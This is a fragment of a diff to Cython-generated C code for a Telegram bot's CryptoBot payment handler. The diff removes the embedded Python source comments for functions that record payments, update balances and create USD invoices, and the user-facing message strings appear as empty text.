/*try:*/ { - /* "handlers/payments/cryprobot_pay.py":174 - * user_id_str, amount_str = custom_payload.split(":") - * try: - * user_id = int(user_id_str) # <<<<<<<<<<<<<< - * amount = int(amount_str) - * await add_payment(int(user_id), float(amount), "cryptobot") - */ __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_user_id = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":175 - * try: - * user_id = int(user_id_str) - * amount = int(amount_str) # <<<<<<<<<<<<<< - * await add_payment(int(user_id), float(amount), "cryptobot") - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - */ __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":176 - * user_id = int(user_id_str) - * amount = int(amount_str) - * await add_payment(int(user_id), float(amount), "cryptobot") # <<<<<<<<<<<<<< - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - * await update_balance(user_id, amount) - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 176, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L7_error) @@ -8122,13 +7222,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx } } - /* "handlers/payments/cryprobot_pay.py":177 - * amount = int(amount_str) - * await add_payment(int(user_id), float(amount), "cryptobot") - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 177, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_debug); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 177, __pyx_L7_error) @@ -8188,13 +7281,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":178 - * await add_payment(int(user_id), float(amount), "cryptobot") - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - * await update_balance(user_id, amount) # <<<<<<<<<<<<<< - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 178, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = NULL; @@ -8254,13 +7340,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx } } - /* "handlers/payments/cryprobot_pay.py":179 - * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< - * except ValueError as e: - * logger.error(f" user_id amount: {e}") - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 179, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = NULL; @@ -8320,13 +7399,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx } } - /* "handlers/payments/cryprobot_pay.py":173 - * custom_payload = payload["payload"] - * user_id_str, amount_str = custom_payload.split(":") - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id_str) - * amount = int(amount_str) - */ } __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; @@ -8339,13 +7411,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/cryprobot_pay.py":180 - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: # <<<<<<<<<<<<<< - * logger.error(f" user_id amount: {e}") - * else: - */ __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_14) { __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_crypto_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -8358,13 +7423,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_cur_scope->__pyx_v_e = __pyx_t_6; /*try:*/ { - /* "handlers/payments/cryprobot_pay.py":181 - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: - * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< - * else: - * logger.warning(f" : {payload}") - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 181, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 181, __pyx_L21_error) @@ -8401,13 +7459,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } - /* "handlers/payments/cryprobot_pay.py":180 - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: # <<<<<<<<<<<<<< - * logger.error(f" user_id amount: {e}") - * else: - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -8458,13 +7509,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx } goto __pyx_L9_except_error; - /* "handlers/payments/cryprobot_pay.py":173 - * custom_payload = payload["payload"] - * user_id_str, amount_str = custom_payload.split(":") - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id_str) - * amount = int(amount_str) - */ __pyx_L9_except_error:; __Pyx_XGIVEREF(__pyx_t_8); __Pyx_XGIVEREF(__pyx_t_9); @@ -8479,23 +7523,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_L12_try_end:; } - /* "handlers/payments/cryprobot_pay.py":170 - * - * async def process_crypto_payment(payload): - * if payload["status"] == "paid": # <<<<<<<<<<<<<< - * custom_payload = payload["payload"] - * user_id_str, amount_str = custom_payload.split(":") - */ goto __pyx_L4; } - /* "handlers/payments/cryprobot_pay.py":183 - * logger.error(f" user_id amount: {e}") - * else: - * logger.warning(f" : {payload}") # <<<<<<<<<<<<<< - * - * - */ /*else*/ { __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_logger); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); @@ -8535,13 +7565,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_L4:; CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/cryprobot_pay.py":169 - * - * - * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< - * if payload["status"] == "paid": - * custom_payload = payload["payload"] - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -8568,13 +7591,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx } static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/cryprobot_pay.py":186 - * - * - * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount(PyObject *__pyx_self, @@ -8752,13 +7768,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 186, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":190 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; @@ -8787,13 +7796,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":191 - * ): - * builder = InlineKeyboardBuilder() - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) # <<<<<<<<<<<<<< - * - * await callback_query.message.answer( - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) @@ -8831,26 +7833,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":193 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":195 - * await callback_query.message.answer( - * ", .", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 195, __pyx_L1_error) @@ -8880,13 +7868,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/cryprobot_pay.py":193 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__30, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -8911,13 +7892,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx } } - /* "handlers/payments/cryprobot_pay.py":198 - * ) - * - * await state.set_state(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< - * - * - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 198, __pyx_L1_error) @@ -8969,13 +7943,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/cryprobot_pay.py":186 - * - * - * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -9000,13 +7967,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx } static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/cryprobot_pay.py":201 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input(PyObject *__pyx_self, @@ -9205,13 +8165,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 201, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":203 - * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): # <<<<<<<<<<<<<< - * amount = int(message.text) - * if amount // RUB_TO_USDT <= 0: - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) @@ -9243,13 +8196,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_5) { - /* "handlers/payments/cryprobot_pay.py":204 - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - * amount = int(message.text) # <<<<<<<<<<<<<< - * if amount // RUB_TO_USDT <= 0: - * await message.answer( - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L1_error) @@ -9259,13 +8205,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":205 - * if message.text.isdigit(): - * amount = int(message.text) - * if amount // RUB_TO_USDT <= 0: # <<<<<<<<<<<<<< - * await message.answer( - * f" {RUB_TO_USDT}. , :" - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L1_error) @@ -9277,23 +8216,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_5) { - /* "handlers/payments/cryprobot_pay.py":206 - * amount = int(message.text) - * if amount // RUB_TO_USDT <= 0: - * await message.answer( # <<<<<<<<<<<<<< - * f" {RUB_TO_USDT}. , :" - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/cryprobot_pay.py":207 - * if amount // RUB_TO_USDT <= 0: - * await message.answer( - * f" {RUB_TO_USDT}. , :" # <<<<<<<<<<<<<< - * ) - * return - */ __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = 0; @@ -9364,33 +8289,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } } - /* "handlers/payments/cryprobot_pay.py":209 - * f" {RUB_TO_USDT}. , :" - * ) - * return # <<<<<<<<<<<<<< - * - * await state.update_data(amount=amount) - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/cryprobot_pay.py":205 - * if message.text.isdigit(): - * amount = int(message.text) - * if amount // RUB_TO_USDT <= 0: # <<<<<<<<<<<<<< - * await message.answer( - * f" {RUB_TO_USDT}. , :" - */ } - /* "handlers/payments/cryprobot_pay.py":211 - * return - * - * await state.update_data(amount=amount) # <<<<<<<<<<<<<< - * await state.set_state( - * ReplenishBalanceState.waiting_for_payment_confirmation_crypto - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L1_error) @@ -9420,23 +8324,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } } - /* "handlers/payments/cryprobot_pay.py":212 - * - * await state.update_data(amount=amount) - * await state.set_state( # <<<<<<<<<<<<<< - * ReplenishBalanceState.waiting_for_payment_confirmation_crypto - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/cryprobot_pay.py":213 - * await state.update_data(amount=amount) - * await state.set_state( - * ReplenishBalanceState.waiting_for_payment_confirmation_crypto # <<<<<<<<<<<<<< - * ) - * try: - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 213, __pyx_L1_error) @@ -9485,13 +8375,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } } - /* "handlers/payments/cryprobot_pay.py":215 - * ReplenishBalanceState.waiting_for_payment_confirmation_crypto - * ) - * try: # <<<<<<<<<<<<<< - * invoice = await crypto.create_invoice( - * fiat="USD", - */ { __Pyx_ExceptionSave(&__pyx_t_10, &__pyx_t_11, &__pyx_t_12); __Pyx_XGOTREF(__pyx_t_10); @@ -9499,38 +8382,17 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __Pyx_XGOTREF(__pyx_t_12); /*try:*/ { - /* "handlers/payments/cryprobot_pay.py":216 - * ) - * try: - * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< - * fiat="USD", - * currency_type='fiat', - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 216, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_create_invoice); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 216, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/cryprobot_pay.py":217 - * try: - * invoice = await crypto.create_invoice( - * fiat="USD", # <<<<<<<<<<<<<< - * currency_type='fiat', - * amount=str(int(amount // RUB_TO_USDT)), - */ __pyx_t_9 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 217, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_fiat, __pyx_n_u_USD) < 0) __PYX_ERR(0, 217, __pyx_L9_error) if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_currency_type, __pyx_n_u_fiat) < 0) __PYX_ERR(0, 217, __pyx_L9_error) - /* "handlers/payments/cryprobot_pay.py":219 - * fiat="USD", - * currency_type='fiat', - * amount=str(int(amount // RUB_TO_USDT)), # <<<<<<<<<<<<<< - * description=f" {amount} ", - * payload=f"{message.chat.id}:{amount}", - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L9_error) @@ -9545,13 +8407,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_amount, __pyx_t_3) < 0) __PYX_ERR(0, 217, __pyx_L9_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":220 - * currency_type='fiat', - * amount=str(int(amount // RUB_TO_USDT)), - * description=f" {amount} ", # <<<<<<<<<<<<<< - * payload=f"{message.chat.id}:{amount}", - * ) - */ __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 220, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = 0; @@ -9579,13 +8434,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_description, __pyx_t_2) < 0) __PYX_ERR(0, 217, __pyx_L9_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":221 - * amount=str(int(amount // RUB_TO_USDT)), - * description=f" {amount} ", - * payload=f"{message.chat.id}:{amount}", # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 221, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = 0; @@ -9620,13 +8468,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_payload, __pyx_t_3) < 0) __PYX_ERR(0, 217, __pyx_L9_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":216 - * ) - * try: - * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< - * fiat="USD", - * currency_type='fiat', - */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 216, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -9668,23 +8509,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_cur_scope->__pyx_v_invoice = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":224 - * ) - * - * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row( - */ __pyx_t_5 = __Pyx_HasAttr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_u_bot_invoice_url); if (unlikely(__pyx_t_5 == ((int)-1))) __PYX_ERR(0, 224, __pyx_L9_error) if (__pyx_t_5) { - /* "handlers/payments/cryprobot_pay.py":225 - * - * if hasattr(invoice, "bot_invoice_url"): - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 225, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; @@ -9713,23 +8540,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":226 - * if hasattr(invoice, "bot_invoice_url"): - * builder = InlineKeyboardBuilder() - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) - * ) - */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 226, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); - /* "handlers/payments/cryprobot_pay.py":227 - * builder = InlineKeyboardBuilder() - * builder.row( - * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) # <<<<<<<<<<<<<< - * ) - * builder.row( - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 227, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L9_error) @@ -9768,23 +8581,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":229 - * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) - * ) - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton(text=" ", callback_data="pay"), - * ) - */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 229, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); - /* "handlers/payments/cryprobot_pay.py":230 - * ) - * builder.row( - * InlineKeyboardButton(text=" ", callback_data="pay"), # <<<<<<<<<<<<<< - * ) - * await message.answer( - */ __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 230, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L9_error) @@ -9820,23 +8619,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":232 - * InlineKeyboardButton(text=" ", callback_data="pay"), - * ) - * await message.answer( # <<<<<<<<<<<<<< - * text=f" {amount} .", - * 